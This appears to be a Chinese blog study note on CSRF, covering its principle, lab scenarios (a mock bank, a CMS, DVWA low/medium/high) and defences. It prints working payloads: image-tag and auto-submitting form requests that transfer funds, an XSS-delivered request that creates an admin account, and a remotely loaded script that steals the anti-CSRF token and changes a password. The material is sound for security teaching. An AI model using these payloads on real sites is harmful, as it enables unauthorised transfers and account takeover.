csrf学习笔记总结
跨站请求伪造csrf
csrf概述
-
掌握CSRF 漏洞原理
-
掌握CSRF 漏洞场景
-
掌握CSRF 漏洞验证
csrf原理
跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。
借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序。
关键点
-
受害者没有退出登录,受害者保持身份认证。
-
CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
-
CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。
目标
CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。
CSRF 的场景中,攻击者是没有办法获得服务器的响应。
csrf场景
银行账户转账
搭建模拟银行网站 http://10.4.7.130/bank/
构造虚假网站
构造CSRF 攻击连接
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://10.4.7.130/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>
-
攻击者通过 标签构造GET 请求。
-
浏览器根据 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息
场景建模
起初admin用户账户余额70499
使用hello用户向admin用户转账1元
再次查看admin用户余额,增加一元,由此可见功能正常
开始csrf
构造跳转网页及功能实现
get请求csrf
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://10.4.7.164/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>
post请求csrf
<meta charset='utf-8'>
<form name='csrf' action='http://10.4.7.164/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />
首页
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<a href='get.html' style='color:red;font-size:100px'>屠龙宝刀,点击就送 通道一</a><br />
<a href='post.html' style='color:red;font-size:100px'>屠龙宝刀,点击就送 通道二</a><br />
此处路径即为
http://10.4.7.164/csrf/
用户访问该连接其中一个就会向hacker转账100
CSRF类别
以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求,是不是就能够防御CSRF 漏洞了呢?
post方式
<meta charset='utf-8'>
<form name='csrf' action='http://10.4.7.130/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />
csrf验证
Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证
右键即可点击可构造poc
点击该poc之前余额如图
点击后
触发成功
csrf攻防
CSRF 实战
与XSS漏洞相结合
攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7
&userid=0");
</script>
cms_csrf
登录cms后台,管理员账户空
使用csrf新增一个管理员用户
新增用户处抓包构造一个csrf
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.167/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=order&password=123&password2=123&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
写入留言板,利用xss
等待管理员访问留言板
随后添加成功
CSRF 防御
无效防御
使用秘密的Cookie。
仅接收POST 请求。
多步交易:多步交易,有可能会被恶意攻击者预测。
URL 重写:用户的身份信息会暴露在URL 中,不建议通过引入另外一个漏洞来解决当前漏洞。
HTTPS:所有安全机制的前提。
有效防御
验证Referer 字段:
-
前URL 的上一个URL;
-
转账页面到转账操作;
-
伪造?
添加Token 验证:
二次验证:在关键操作之前,再输入密码或者验证码。
HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。
SameSite:Cookie 属性,浏览器自带安全机制。
扩展1-dvwa_csrf
low
抓包看看参数
构造一个csrf链接
http://10.4.7.167/dvwa_2.0.1/vulnerabilities/csrf/?password_new=123456789&password_conf=123456789&Change=Change
访问该链接,修改密码成功
medium
源码
<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?>
以下操作需要使用ie浏览器,且为三台不同的虚拟机
换另一台虚拟机10.9.47.217
写一个img标签,将url放进去
<img src="http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/?password_new=asd&password_conf=asd&Change=Change">
然后将该html文件名命名为10.9.47.221.html 因为会检查refer中有没有servername,文件名中包含也算,然后去除了这两台虚拟机之外的另外一台虚拟机
先访问221的的dvwa靶场,然后访问217的修改密码的html文件,登出过后会发现密码已经修改
以上为非本地靶场操作
本地搭建靶场直接抓包修改或者构造一个简单的img直接访问即可
high
<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} // Generate Anti-CSRF token
generateSessionToken(); ?>
触发url
http://10.9.47.221/dvwa_2.0.1/vulnerabilities/xss_d/?default=English#<script src="http://10.9.47.217/csrf.js"></script>
将此脚本写成js文件
alert(document.cookie);
var theurl="http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/";
if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();
}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.onreadystatechange=function(){if (xmlhttp.readyState==4 && xmlhttp.status==200){var text = xmlhttp.responseText;var regex = /user_token\' value\=\'(.*?)\' \/\>/;var match = text.match(regex);console.log(match);alert(match[1]);var token = match[1];var new_url = "http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change&user_token="+token;if(count==0){count++;xmlhttp.open("GET",new_url,false);xmlhttp.send();}}
}
xmlhttp.open("GET",theurl,false);
xmlhttp.send();
# 其中ip为靶场的ip将该脚本文件放到非靶场位置的虚拟机也可成功修改密码,依托于dom型的xss完成,如果写成html访问会受到同源策略的影响
相关文章:

csrf学习笔记总结
跨站请求伪造csrf csrf概述 掌握CSRF 漏洞原理 掌握CSRF 漏洞场景 掌握CSRF 漏洞验证 csrf原理 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程…...

【kafka】windows安装启动
1.zookeeper的安装与启动 快速打开window powershell: windowx,选 2.kafka下载 —注意kafka和zookeeper需要版本匹配 安装路径 注意,kafka安装目录不能有空格。文件下载到: D:\Program_Files\kafka_2.12-3.6.0新建logs文件 修改c…...

redis的基本命令,并用netty操作redis(不使用springboot或者spring框架)就单纯的用netty搞。
大家如果对使用netty搞这些http请求什么的感兴趣的,可以参观我自己创建的这个项目。 nanshaws/nettyWeb: 复习一下netty,并打算做一个web项目出来 (github.com) Redis的基本命令包括: SET key value:设置指定key的值。 GET key…...

《白帽子讲web安全》笔记
第八章 文件上传漏洞 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力 文件上传后导致的常见安全问题一般有: ❍ 上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本…...

unity UGUI无限循环滚动居中
最近在做一个ui循环滚动的功能,网上找了半天脚本感觉都和我实际需求不太符合,自己花费一些时间完成了这个功能记录一下。下面开始正题 ,我是采用unity自带组件Scroll View来完成,首先设置Scroll View如下图 面板层级结构如下 然…...

人工智能与新能源电动车的融合——技术创新引领未来交通革命
人工智能与新能源电动车的融合——技术创新引领未来交通革命 摘要:本文探讨了人工智能与新能源电动车领域的技术融合,分析了其在智能驾驶、电池技术、充电设施等方面的应用与创新。文章指出,这两大技术的结合将重塑交通产业,为我…...

交换机堆叠 配置(H3C)堆叠中一台故障如何替换
交换机堆叠 配置(H3C)堆叠中一台故障如何替换 堆叠用来干什么?配置两台成员设备的 IRF(堆叠)Switch01配置Switch02配置 如何替换堆叠中坏掉的一台交换机 堆叠用来干什么? 一台交换机网口有限,无…...

2024年软考有哪些考试科目?具体考什么内容?
软考分为三个考试层次,软考初级、中级和高级,每个层次的考试科目,其考试内容都是不一样的。报考时先选层次,再选科目。选好科目后,再看自己需要学习哪些内容。 一、软考初级科目 1.程序员: 考核内容&…...

2023.11.12 hive中分区表,分桶表与区别概念
1.分区表 分区表的本质就是在分目录 当Hive表对应的数据量大、文件多时,为了避免查询时全表扫描数据。比如把一整年的数据根据月份划分12个月(12个分区),后续就可以查询指定月份分区的数据,尽可能避免了全表扫描查询。…...

Pass-中间件管理
中间件管理是指对应用软件和操作系统之间的软件层进行管理和调度的过程,以优化应用性能和提高系统可靠性。 中间件管理是什么? 中间件管理是软件开发过程中不可或缺的一部分,它主要负责管理应用程序与操作系统之间的交互。中间件࿰…...

什么是GIL锁,有什么作用?python的垃圾回收机制是什么样的?解释为什么计算密集型用多进程,io密集型用多线程。
1 什么是gil锁,有什么作用? 2 python的垃圾回收机制是什么样的? 3 解释为什么计算密集型用多进程,io密集型用多线程。 1 什么是gil锁,有什么作用? 1 GIL:Global Interpreter Lock又称全局解释器…...

Postman如何发送Https请求
Postman如果想要发送Https请求,需要从设置中将SSL安全认证禁用...

Redis集群启动
配置项 # 允许Redis监听所有网络接口的IP地址,即0.0.0.0。这意味着Redis可以接受来自任何网络接口的连接。 bind 0.0.0.0 # 关闭保护模式。在保护模式下,Redis只接受来自本机的连接。关闭保护模式后,Redis可以接受来自任何网络接口的连接。 protected-mode no # 在后…...

使用proxy把后端返回的图片域名替换成目标域名
proxy 对象用于创建一个对象的代理,是在目标对象之前架设一个拦截,外界对该对象的访问,都必须先通过这个拦截。通过这种机制,就可以对外界的访问进行过滤和改写。 ES6 原生提供 Proxy 构造函数,用来生成 Proxy 实例。…...

css实现div倾斜效果
效果如下: <!DOCTYPE html> <html><head><meta charset"UTF-8"><title></title></head> <style> *{margin:0;padding: 0;} .box1{margin:30px 100px;width:100px;height:200px;background:blueviolet;} …...

算法学习打卡day45|动态规划:股票问题总结
Leetcode股票问题总结篇 动态规划的股票问题一共六道题,买卖股票最佳时机和买卖股票手续费都是一个类型的问题,维护好买入和卖出两个状态即可,方法一摸一样。而冷冻期也差不多就是状态多了点,买入、保持卖出、当日卖出、以及冷冻期…...

内网环境下让容器上网,并制作一个httpd容器
1.下载基础镜像 上一次,我们通过正向互联网代理在内网环境中,搭建了一个docker环境,具体环境如下: 1) 内网docker服务器:192.168.123.1,操作系统为:redhat 7.9 2) 代理服务器(可通外网)&#…...

多个Obj模型合并
MergeObj(合并Obj模型) 1 概述 由于项目原因,需要下载谷歌地图上的模型,关于谷歌模型下载的,见我的CSDN博客. 由于下载谷歌地图上的数据,会分多个模块下载。下载完成后,怎么合并,在…...

Qt调用python写好的函数,利用Python丰富的图像处理库来完成各种任务
一、前言 近年来,Python已经成为一种广泛应用于科学计算、数据分析和机器学习等领域的强大编程语言。其丰富的生态系统和大量的开源库使得Python成为处理图像、音频、视频和其他多媒体数据的理想选择。在图像处理领域,Python提供了许多方便的函数和库,如OpenCV、PIL(Pytho…...

第六章:接口
系列文章目录 文章目录 系列文章目录前言一、接口二、实现接口与继承类三、接口的多态特性总结 前言 接口是更加抽象的类。 一、接口 usb插槽就是现实中的接口,厂家都遵守了统一的规定包括尺寸,排线等。这样的设计在java编程中也是大量存在的。 packa…...

【Java 进阶篇】JQuery DOM操作:CRUD操作的前端魔法
在前端开发的舞台上,CRUD(Create, Read, Update, Delete)操作是一种极为重要的技能,它涉及对页面元素的增删改查。而JQuery,这位前端开发的魔法师,为我们提供了便捷而强大的方法,使得CRUD操作变…...

如何实现Redisson分布式锁
首先,不要将分布式锁想的太复杂,如果我们只是平时业务中去使用,其实不算难,但是很多人写的文章不能让人快速上手,接下来,一起看下Redisson分布式锁的快速实现 Redisson 是一个在 Redis 的基础上实现的 Java…...

Kafka(三)生产者发送消息
文章目录 生产者发送思路自定义序列化类配置生产者参数提升吞吐量 发送消息关闭生产者结语示例源码仓库 生产者发送思路 如何确保消息格式正确的前提下最终一定能发送到Kafka? 这里的实现思路是 ack使用默认的all开启重试在一定时间内重试不成功,则入库ÿ…...

2020年五一杯数学建模C题饲料混合加工问题解题全过程文档及程序
2020年五一杯数学建模 C题 饲料混合加工问题 原题再现 饲料加工厂需要加工一批动物能量饲料。饲料加工需要原料,如加工猪饲料需要玉米、荞麦、稻谷等。加工厂从不同的产区收购了原料,原料在收购的过程中由于运输、保鲜以及产品本身属性等原因ÿ…...

公益SRC实战|SQL注入漏洞攻略
目录 一、信息收集 二、实战演示 三、使用sqlmap进行验证 四、总结 一、信息收集 1.查找带有ID传参的网站(可以查找sql注入漏洞) inurl:asp idxx 2.查找网站后台(多数有登陆框,可以查找弱口令,暴力破解等漏洞&…...

Word软件手动安装Zotero插件
文章目录 Word软件手动安装Zotero插件方法一方法二 参考资料 Word软件手动安装Zotero插件 方法一 关闭word在zotero中依次点击编辑—首选项—引用—文字编辑软件—重新安装加载项Microsoft word 方法二 寻找Zotero.dotm存储位置, 例如D:\Program Files\Zotero\ext…...

idea 插件推荐第二期
文章目录 便捷开发CodeGlance Pro (代码缩略图)GenerateAllSetter(快速生成对象所有set方法)GsonFormatPlus:json转实体RestfulToolkitX(找到controller快捷请求接口) 美化activate-power-mode-x (敲击计数、动效)Nyan…...

plsql查询中文出现乱码
添加环境变量:如下 变量名:NLS_LANG 变量值:SIMPLIFIED CHINESE_CHINA.ZHS16GBK 变量名:TNS_ADMIN 变量值:D:\instantclient_11_2\network\admin 在Path中添加instantclient_11_2存放路径...

【Docker】五分钟完成Docker部署Java应用,你也可以的!!!
文章目录 前言一、部署步骤1.项目结构2.Dockerfile3.docker-compose.yml4.启动5.常用命令 总结 前言 本文基于Docker Compose部署Java应用,请确保你已经安装了Docker和Docker Compose。 十分钟就能上手docker?要不你也试试? 一、部署步骤 1…...

如何准备2024年的系统设计面试?
1 前言 如果你正在准备软件工程师或软件开发人员的面试,那么你可能知道由于其开放性质和广泛性,准备系统设计是多么困难,但同时你也不能忽略它。在软件工程界,如果你正在申请高级工程师/主管/架构师或更高级别的角色,系统设计是最受追捧的技能,也是整个过程中最重要的环节之一…...